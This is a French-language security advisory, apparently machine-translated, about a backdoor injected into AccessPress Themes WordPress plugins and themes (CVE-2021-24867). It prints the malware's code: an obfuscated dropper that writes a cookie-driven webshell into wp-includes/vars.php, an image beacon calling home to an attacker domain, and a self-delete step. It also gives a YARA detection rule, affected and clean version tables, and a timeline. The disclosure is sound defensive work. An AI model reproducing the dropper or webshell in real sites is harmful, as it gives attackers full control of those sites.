Porte dérobée trouvée dans les thèmes et plugins des thèmes AccessPress
Publié: 2022-01-19Mise à jour du 1er février - Modification de la section "Thèmes concernés" pour refléter que de nouvelles versions des thèmes commencent à apparaître.
En enquêtant sur un site compromis, nous avons découvert du code suspect dans un thème d'AccessPress Themes (alias Access Keys), un fournisseur proposant un grand nombre de thèmes et de plugins populaires. Après une enquête plus approfondie, nous avons constaté que tous les thèmes et la plupart des plug-ins du fournisseur contenaient ce code suspect, mais uniquement s'ils étaient téléchargés à partir de leur propre site Web. Les mêmes extensions étaient correctes si elles étaient téléchargées ou installées directement à partir du répertoire WordPress.org.
En raison de la manière dont les extensions ont été compromises, nous soupçonnions qu'un attaquant externe avait pénétré le site Web d'AccessPress Themes dans le but d'utiliser leurs extensions pour infecter d'autres sites.
Nous avons immédiatement contacté le vendeur, mais au début, nous n'avons pas reçu de réponse. Après l'avoir transmis à l'équipe du plugin WordPress.org, nos soupçons ont été confirmés. Les sites Web AccessPress Themes ont été piratés au cours de la première moitié de septembre 2021, et les extensions disponibles en téléchargement sur leur site ont été injectées avec une porte dérobée.
Une fois que nous avons établi un canal de communication avec le fournisseur, nous lui avons partagé nos conclusions détaillées. Ils ont immédiatement supprimé les extensions incriminées de leur site Web.
La plupart des plugins ont depuis été mis à jour et les versions propres connues sont répertoriées au bas de cet article. Cependant, les thèmes concernés n'ont pas été mis à jour et sont extraits du référentiel de thèmes WordPress.org. Si l'un des thèmes répertoriés au bas de cet article est installé sur votre site, nous vous recommandons de migrer vers un nouveau thème dès que possible.
Cette divulgation concerne un grand nombre d'extensions, à la fois des plugins et des thèmes. Passez à la liste ci-dessous ou lisez la suite pour plus de détails.
Des détails:
Fournisseur : Thèmes AccessPress
URL du fournisseur : https://accesspressthemes.com
Plugins : plusieurs
Thèmes : multiples
CVE : CVE-2021-24867
Une analyse:
Les extensions infectées contenaient un dropper pour un webshell qui donne aux attaquants un accès complet aux sites infectés. Le compte-gouttes est situé dans le fichier inital.php
situé dans le répertoire principal du plugin ou du thème. Lorsqu'il est exécuté, il installe un webshell basé sur des cookies dans wp-includes/vars.php
. Le shell est installé en tant que fonction juste devant la fonction wp_is_mobile()
avec le nom de wp_is_mobile_fix()
. C'est probablement pour ne pas éveiller les soupçons de quiconque faisant défiler le fichier vars.php
avec désinvolture.
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
Une fois le shell installé, le compte-gouttes téléphonera à la maison en chargeant une image distante à partir de l'URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
avec l'url du site infecté et des informations sur quel thème il utilise comme arguments de requête. Enfin, il supprimera le fichier source du compte-gouttes pour éviter la détection lorsque la requête est terminée.
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
Le webshell lui-même se déclenche si la chaîne de l'agent utilisateur dans la requête est wp_is_mobile
et que la requête contient huit cookies spécifiques. Il rassemble et exécute une charge utile à partir de ces cookies fournis.
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
Nous avons également vu une autre variante, vraisemblablement plus ancienne, de la porte dérobée directement intégrée dans le fichier functions.php
du thème/plugin. Cette variante utilise le même mécanisme en rassemblant la charge utile à partir de huit cookies, mais ne filtre pas sur la chaîne d'agent utilisateur de la requête.
Pour s'assurer que le dropper est exécuté, le fichier principal du plugin (pour les plugins) ou le fichier functions.php
(pour les thèmes) ont été modifiés avec du code pour exécuter le fichier inital.php
s'il existe.
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
Un détail frappant des horodatages des plugins compromis est qu'ils datent tous de début septembre. La majorité date des 6 et 7 septembre, avec quelques fichiers des 2 et 3 septembre. De même pour les thèmes, tous ont été compromis le 22 septembre, sauf accessbuddy
le 9 septembre.
En outre, les horodatages dans les archives zip sont très uniformes, avec presque tous les fichiers avec exactement le même horodatage, à l'exception du fichier de plug-in principal modifié et du fichier de compte-gouttes ajouté qui est horodaté quelques minutes plus tard (généralement environ 2 à 5 minutes après les autres fichiers de l'archive).
Cependant, en regardant les horodatages des fichiers zip téléchargés à partir du référentiel wordpress.org
, nous trouvons une distribution d'horodatages correspondant au moment où le plugin/thème a été mis à jour. De plus, la distribution des horodatages dans l'archive est moins uniforme et reflète les fichiers qui ont été mis à jour dans la version et ceux qui sont inchangés par rapport à une version plus ancienne.
Cela nous suggère que les fichiers du site Web d'AccessPress Themes ont été modifiés intentionnellement et dans le cadre d'une action coordonnée après leur publication initiale. Le compromis semble avoir été réalisé en deux temps, un pour les plugins et un plus tard pour les thèmes. Chacun d'eux avec quelques tentatives antérieures, peut-être pour affiner le processus.
Notre enquête n'a porté que sur les thèmes et les plug-ins disponibles gratuitement sur le site Web d'AccessPress Themes. Nous supposons que leurs thèmes professionnels payants sont affectés de la même manière, mais nous ne les avons pas examinés. Si vous avez l'un de ces éléments, veuillez contacter le support d'AccessPress Themes pour plus de conseils.
Thèmes concernés
Si vous avez l'un des thèmes suivants avec un numéro de version dans la colonne Bad installé sur votre site, nous vous recommandons de mettre à niveau immédiatement vers la version dans la colonne Clean . Il convient de noter que les thèmes installés via WordPress.org sont propres, même s'ils sont répertoriés dans la colonne Mauvais . Nous recommandons toujours la mise à niveau vers la version propre connue pour être du bon côté.
Les thèmes sans numéro de version dans la colonne Nettoyer n'ont pas encore été mis à niveau, et nous vous recommandons de le remplacer par un autre thème si possible.
Limace à thème | Mal | Faire le ménage |
---|---|---|
accessbuddy | 1.0.0 | |
accesspress-basique | 3.2.1 | 3.2.2 |
accesspress-lite | 2,92 | 2,93 |
accesspress-mag | 2.6.5 | 2.6.6 |
accesspress-parallaxe | 4.5 | 4.6 |
accèspress-ray | 1.19.5 | |
accesspress-root | 2.5 | 2.6.0 |
accesspress-agrafe | 1.9.1 | |
accesspress-store | 2.4.9 | 2.5.0 |
agence-lite | 1.1.6 | 1.1.7 |
aplite | 1.0.6 | |
binge | 1.0.4 | 1.0.5 |
blogueur | 1.2.6 | 1.2.7 |
construction-lite | 1.2.5 | 1.2.6 |
doko | 1.0.27 | 1.1.0 |
éclairer | 1.3.5 | 1.3.6 |
magasin de mode | 1.2.1 | |
photographie | 2.4.0 | 2.4.1 |
gaga-corp | 1.0.8 | |
gaga-lite | 1.4.2 | |
one-paze | 2.2.8 | |
parallaxe-blog | 3.1.1574941215 | |
parallaxe | 1.3.6 | 1.3.7 |
pointer | 1.1.2 | 1.1.3 |
tourner | 1.3.1 | |
ondulation | 1.2.0 | 1.2.1 |
défile moi | 2.1.0 | |
sportsmag | 1.2.1 | |
storevilla | 1.4.1 | 1.4.2 |
swing-lite | 1.1.9 | 1.2.0 |
le lanceur | 1.3.2 | 1.3.3 |
le lundi | 1.4.1 | |
décoder-lite | 1.3.1 | |
unicon-lite | 1.2.6 | 1.2.7 |
vmag | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-news | 1.0.5 | 1.0.6 |
zigcy-bébé | 1.0.6 | 1.0.7 |
zigcy-cosmetiques | 1.0.5 | 1.0.6 |
zigcy-lite | 2.0.9 | 2.1.0 |
Plugins concernés
Si vous avez l'un des plugins suivants avec un numéro de version dans la colonne Bad installé sur votre site, nous vous recommandons de mettre à niveau immédiatement vers la version dans la colonne Clean . Il convient de noter que les plugins installés via WordPress.org sont propres, même s'ils sont répertoriés dans la colonne Mauvais . Nous recommandons toujours la mise à niveau vers la version propre connue pour être du bon côté.

Les plugins sans numéro de version dans la colonne Clean n'ont pas encore été mis à jour, et nous vous recommandons de les remplacer par d'autres plugins si possible.
Plugin slug | Mal | Faire le ménage | Noter |
---|---|---|---|
accesspress-publication-anonyme | 2.8.0 | 2.8.1 | 1 |
accesspress-css-personnalisé | 2.0.1 | 2.0.2 | |
accesspress-personnalisé-post-type | 1.0.8 | 1.0.9 | |
accespress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-compteur-social | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
accesspress-partage-social | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accèspresse-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
ap-compagnon | 1.0.7 | 2 | |
ap-formulaire-de-contact | 1.0.6 | 1.0.7 | |
ap-témoignage-personnalisé | 1.4.6 | 1.4.7 | |
ap-méga-menu | 3.0.5 | 3.0.6 | |
ap-tarification-tables-lite | 1.1.2 | 1.1.3 | |
apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
cf7-store-vers-db-lite | 1.0.9 | 1.1.0 | |
commentaires-désactiver-accèspresse | 1.0.7 | 1.0.8 | |
easy-side-tab-cta | 1.0.7 | 1.0.8 | |
everest-admin-thème-lite | 1.0.7 | 1.0.8 | |
everest-arrive-bientôt-lite | 1.1.0 | 1.1.1 | |
everest-comment-rating-lite | 2.0.4 | 2.0.5 | |
everest-counter-lite | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
everest-gallery-lite | 1.0.8 | 1.0.9 | |
everest-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
everest-review-lite | 1.0.7 | ||
everest-tab-lite | 2.0.3 | 2.0.4 | |
everest-timeline-lite | 1.1.1 | 1.1.2 | |
call-to-action-builder-lite en ligne | 1.1.0 | 1.1.1 | |
produit-curseur-pour-woocommerce-lite | 1.1.5 | 1.1.6 | |
smart-logo-vitrine-lite | 1.1.7 | 1.1.8 | |
smart-scroll-posts | 2.0.8 | 2.0.9 | |
smart-scroll-to-top-lite | 1.0.3 | 1.0.4 | |
total-gdpr-conformité-lite | 1.0.4 | ||
total-team-lite | 1.1.1 | 1.1.2 | |
ultime-auteur-box-lite | 1.1.2 | 1.1.3 | |
ultime-forme-builder-lite | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-curseur | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-info-utilisateur | 1.0.7 | 1.0.8 | |
wp-facebook-revue-showcase-lite | 1.0.9 | ||
wp-fb-messenger-bouton-lite | 2.0.7 | ||
wp-flottant-menu | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-popup-banners | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-product-gallery-lite | 1.1.1 |
Remarques:
- Ce plugin n'a pas été mis à jour, mais on pense qu'il est propre car la version sur le site Web AccessPress Themes était une version plus ancienne.
- Ce plugin n'a pas été mis à jour, mais on pense qu'il est propre car il n'était pas disponible à l'origine sur le site Web AccessPress Themes.
CIO
La règle YARA suivante peut être utilisée pour vérifier si le site a été infecté. Il détectera à la fois la partie compte-gouttes de l'infection ainsi que le webshell installé.
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
Recommandations
Si vous avez des thèmes ou des plugins installés directement à partir des thèmes AccessPress ou de tout autre endroit à l'exception de WordPress.org, vous devez immédiatement passer à une version sécurisée, comme indiqué dans les tableaux ci-dessus. Si aucune version sécurisée n'est disponible, remplacez-la par la dernière version de WordPress.org.
Veuillez noter que cela ne supprime pas la porte dérobée de votre système, vous devez donc en plus réinstaller une version propre de WordPress pour annuler les modifications du fichier principal effectuées lors de l'installation de la porte dérobée.
Si vous avez un thème ou un plugin payant d'AccessPress Themes/Access Keys, nous vous conseillons de contacter leur support pour obtenir de l'aide.
Nous vous recommandons vivement d'avoir un plan de sécurité pour votre site qui inclut l'analyse et la sauvegarde des fichiers malveillants. Jetpack Security est une excellente option de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs. Jetpack Scan a détecté toutes les variantes de cette porte dérobée et du dropper depuis le 30 septembre.
Chronologie
2021-09-22 : L'équipe Jetpack Scan découvre le compte-gouttes et la porte dérobée dans le thème FotoGraphy, et essaie de contacter le fournisseur à propos de la découverte initiale.
2021-09-27 : Confirmer la présence de dropper + porte dérobée dans tous les plugins et thèmes gratuits actuels téléchargés à partir du site Web des fournisseurs.
2021-09-28 : Confirmez que le compte-gouttes + porte dérobée n'est pas présent sur les téléchargements de wordpress.org
2021-09-29 : Tentative de recontacter le fournisseur, avec des mises à jour sur les nouvelles découvertes.
14/10/2021 : escalade vers l'équipe des plugins WordPress pour essayer d'obtenir un contact avec le fournisseur.
15/10/2021 : les extensions compromises sont supprimées du site du fournisseur.
2021-10-16 : Réponse du fournisseur
17/01/2022 : La plupart des plugins ont été mis à niveau vers de nouvelles versions, les thèmes ont été extraits de WordPress.org.
2022-01-18 Divulgation publique